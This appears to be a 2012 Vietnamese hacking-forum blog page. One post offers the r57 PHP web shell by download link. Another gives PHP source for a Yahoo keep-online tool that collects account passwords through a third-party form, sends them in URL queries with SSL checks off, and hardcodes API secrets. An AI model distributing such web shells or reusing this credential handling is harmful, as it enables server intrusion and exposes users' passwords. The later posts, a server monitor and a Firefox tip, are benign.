Tuesday, September 11, 2012

Share Code Shell r57 fixed all - Bản mới nhất

Source Code:
http://xhacker.me/offline.txt
Or Download:
http://www.mediafire.com/?zr00vgs72e6mk5c

Share code WAP (banana)

http://nq2.upanh.com/b4.s32.d1/99e10e5c49043044987ed4ef593ce80e_48974092.ngay.png 


Pass: vnhgroup

Nguồn: VNH Group

Code treo nick Yahoo (có status)

Demo: http://lythongac.net/treo.php

<?php
#----------------------------------------------------->
# ToolName : Treo nick Yh
# Programmer : Trieu Huy hoang
# Version : 1.0
# Mysite : http://trieuhuyhoang.net
# Home : http://vnhack.us
# Date : 11/09/2012
#--------------------------

if($_GET['act']=='update')
{
$username = $_POST['username']; // Your usernameid
$password = $_POST['password']; // Your password
$consumer_key = "dj0yJmk9bUNKZlNoMXFVYUZQJmQ9WVdrOVJWSlNRa0kyTlRJbWNHbzlNVGMwTnpNNE1qYzJNZy0tJnM9Y29uc3VtZXJzZWNyZXQmeD03NQ--"; //có thể thay thế nếu muốn
$secret_key = "af4af35d2005e483e293f7afddfb2986d30f4c95"; // có thể thay thế nếu muốn
$state = 2; //0 : online //2 : busy //999 idle
$status = $_POST['status']; //Status



$header[] = 'Content-type: application/json; charset=utf-8';
function curl($url, $method = 'get', $header = null, $postdata = null, $includeheader=false, $timeout = 60)
{
$s = curl_init();
$debug = false;
curl_setopt($s,CURLOPT_URL, $url);
if ($header)
curl_setopt($s,CURLOPT_HTTPHEADER, $header);

if ($debug)
curl_setopt($s,CURLOPT_VERBOSE, TRUE);

curl_setopt($s,CURLOPT_TIMEOUT, $timeout);
curl_setopt($s,CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($s,CURLOPT_MAXREDIRS, 3);
curl_setopt($s,CURLOPT_RETURNTRANSFER, true);
curl_setopt($s,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($s,CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($s,CURLOPT_COOKIEFILE, 'cookie.txt');

if(strtolower($method) == 'post')
{
curl_setopt($s,CURLOPT_POST, true);
curl_setopt($s,CURLOPT_POSTFIELDS, $postdata);
}
else if(strtolower($method) == 'delete')
{
curl_setopt($s,CURLOPT_CUSTOMREQUEST, 'DELETE');
}
else if(strtolower($method) == 'put')
{
curl_setopt($s,CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($s,CURLOPT_POSTFIELDS, $postdata);
}

curl_setopt($s,CURLOPT_HEADER, $includeheader);
curl_setopt($s,CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1');
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, false);

$html = curl_exec($s);
$status = curl_getinfo($s, CURLINFO_HTTP_CODE);

curl_close($s);

return $html;
}

$url1 = 'https://login.yahoo.com/WSLogin/V1/get_auth_token';
$url1 .= '?login='.$username;
$url1 .= '&passwd='.$password;
$url1 .= '&oauth_consumer_key='.$consumer_key;
$rs = curl($url1);
$rs = trim(str_replace('RequestToken=', '', $rs));
$url = 'https://api.login.yahoo.com/oauth/v2/get_token';
$url .= '?oauth_consumer_key='.$consumer_key;
$url .= '&oauth_nonce='. uniqid(rand());
$url .= '&oauth_signature='.$secret_key.'%26';
$url .= '&oauth_signature_method=PLAINTEXT';
$url .= '&oauth_timestamp='. time();
$url .= '&oauth_token='. $rs;
$url .= '&oauth_version=1.0';
$rs1 = curl($url);
echo "<textarea>".$rs1."</textarea><br>";

if (stripos($rs1, 'oauth_token') === false)
{
$rs1;
return false;
}

//parse access token
$tmp = explode('&', $rs1);
foreach ($tmp as $row)
{
$col = explode('=', $row);
$access_token[$col[0]] = $col[1];
}

//print_r ($access_token);

//fetch_crumb url
$url2 = 'http://developer.messenger.yahooapis.com/v1/session';
$url2 .= '?oauth_consumer_key='.$consumer_key;
$url2 .= '&oauth_nonce='. uniqid(rand());
$url2 .= '&oauth_signature='.$secret_key.'%26'. $access_token['oauth_token_secret'];
$url2 .= '&oauth_signature_method=PLAINTEXT';
$url2 .= '&oauth_timestamp='. time();
$url2 .= '&oauth_token='. $access_token['oauth_token'];
$url2 .= '&oauth_version=1.0';

$rs2 = curl($url2, 'get', $header);
echo "<textarea>".$rs2."</textarea><br>";


//signon url
$url3 = 'http://developer.messenger.yahooapis.com/v1/session';
$url3 .= '?oauth_consumer_key='.$consumer_key;
$url3 .= '&oauth_nonce='. uniqid(rand());
$url3 .= '&oauth_signature='.$secret_key.'%26'. $access_token['oauth_token_secret'];
$url3 .= '&oauth_signature_method=PLAINTEXT';
$url3 .= '&oauth_timestamp='. time();
$url3 .= '&oauth_token='. $access_token['oauth_token'];
$url3 .= '&oauth_version=1.0';
$url3 .= '&notifyServerToken=1';

$postdata = '{"presenceState" : '. $state. ', "presenceMessage" : "'. $status. '"}';

$rs3 = curl($url3, 'post', $header, $postdata, true);
echo "<textarea>".$rs3."</textarea><br>";
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="style.css">
<meta name="author" content="LyThongAc" />

<title>..:::Treo nick Yahoo 24h:::..</title>

<style>

</style>


</head>

<body id="index" onload="">
<div>
<form action="?act=update" method="post" name="jaja">

<table align="center">

<tr>

<td><span class="method2">UserName</span></td>

<td><input name="username" type="text" id="boton" onclick="this.select()" value="" size="40px" ></td>

</tr>

<tr>

<td><span class="method2">Password</span>

</td>

<td><input name="password" type="password" id="boton" onclick="this.select()" value="" size="40px" /> </td>

</tr>

<tr>

<td><span class="method2">Status</span>

</td>

<td><input name="status" type="text" id="boton" onclick="this.select()" value="" size="40px" /> </td>

</tr>

<tr>


<td class="titulo style1">

<span class="method2">Action</span></td>

<td>


<input name="submit" type="submit" class="button" value="Treo Nick" />
<input type="reset" class="button" value="Reset" />

</span></td>

</tr>

</table>
</div>
</form>

<br />

</center>

Monday, September 10, 2012

PHP Script - kiểm tra tình trạng server và gửi email thông báo khi server down


Script này giúp kiểm tra tình trạng server, service xem nó có đang hoạt động hay không

Ví dụ đoạn code mẫu
<?php 

include("servermonitor.php");
$Monitor = new ServerMonitor();
$Monitor->add("Local server", "sinhvienit.net", 80);

echo $Monitor->run(true);

?>
Ở đây chúng ta sẽ gọi đến lớp ServerMonitor được định nghĩa trong file servermonitor.php

$Monitor->add("Local server", "sinhvienit.net", 80); 
Bạn có thể add nhiều server để kiểm tra cùng lúc. số 80 là cổng của dịch vụ đang chạy cần kiểm tra, thay vì điền domain bạn cũng có thể thay bằng IP của server

$Monitor->setEmail("yourmail@gmail.com"); 
Khi server offline, script này sẽ gửi email thông báo đến bạn.
foreach($results as $result){
    $status = $result->active ? "Online" : "Offline";
    echo $result->name . ': <strong>' . $status . '</strong><br />';
}
Chạy vòng lặp để xuất ra kết quả tình trạng server

// Bạn nào thích thì có thể phát triển thêm để script có thể tự động kiểm tra

Bật tính năng đọc PDF cho Firefox 15

Mozilla Firefox 15 vừa mới được phát hành cách đây không lâu với hàng loạt tính năng mới. Nếu trước đây Google Chrome tự hào là trình duyệt kiêm trình đọc PDF thì giờ đây Firefox cũng làm được như thế. Trong phiên bản 15 vừa được phát hành Mozilla đã cải tiến và thêm vào tính năng đọc các tập tin PDF ngay trên trình duyệt Firefox với sự hỗ trợ của Flash. Đừng vội mừng vì tính năng này mặc định vẫn chưa được kích hoạt, do đó nếu người dùng muốn sử dụng tính năng này thì phải trải qua vài bước thiết lập cũng tương đối đơn giản. Cách làm như sau:

Đầu tiên bạn phải chắc chắn là trình duyệt Firefox bạn đang dùng là phiên bản 15, bạn có thể tải về cài đặt từ trang chủ của Mozilla hoặc Filehippo hoặc cập nhật tự động từ cửa sổ About của Firefox.




Khi đã cập nhật lên phiên bản Mozilla Firefox 15 rồi thì bạn trên thành address của Firefox, bạn nhập vào dòng lệnh about:config , chú ý rằng sau khi nhấn enter để thực thi câu lệnh trên thì sẽ có một thông báo về mối nguy hiểm khi thiết lập thì bạn nhấn vào I’ll be carefull, I promise! để tiếp tục.



Tại đây có rất nhiều thiết lập, để cho thuận tiện bạn nên sử dụng tính năng tìm kiếm để tìm nhanh hơn, tại ô tìm kiếm bạn nhập vào từ khoá pdfjs.disabled rồi nhấp phải chuột vào kết quả tìm kiếm chọn Toggle chuyển giá trị Value từ True thành False.



Bạn làm tương tự với từ khoá browser.preferences.inContent và chuyển giá trị Value từ False thành True.



Như vậy tính năng xem file PDF đã được bật thành công. Khi bạn nhấn vào một liên kết có phần mở rộng .pdf Firefox sẽ mở trực tiếp tập tin đó ngay trong trình duyệt mà không cần sử dụng thêm các phần mềm nào khác.

Trường hợp máy bạn có cài đặt một ứng dụng hỗ trợ download thì bạn nên loại bỏ định dạng PDF ra khỏi danh sách bắt link để tránh trường hợp ứng dụng này sẽ bắt link và tải về thay vì đọc trực tiếp trên Firefox.

Chúc bạn thành công!


Tham khảo Genk

Popular Posts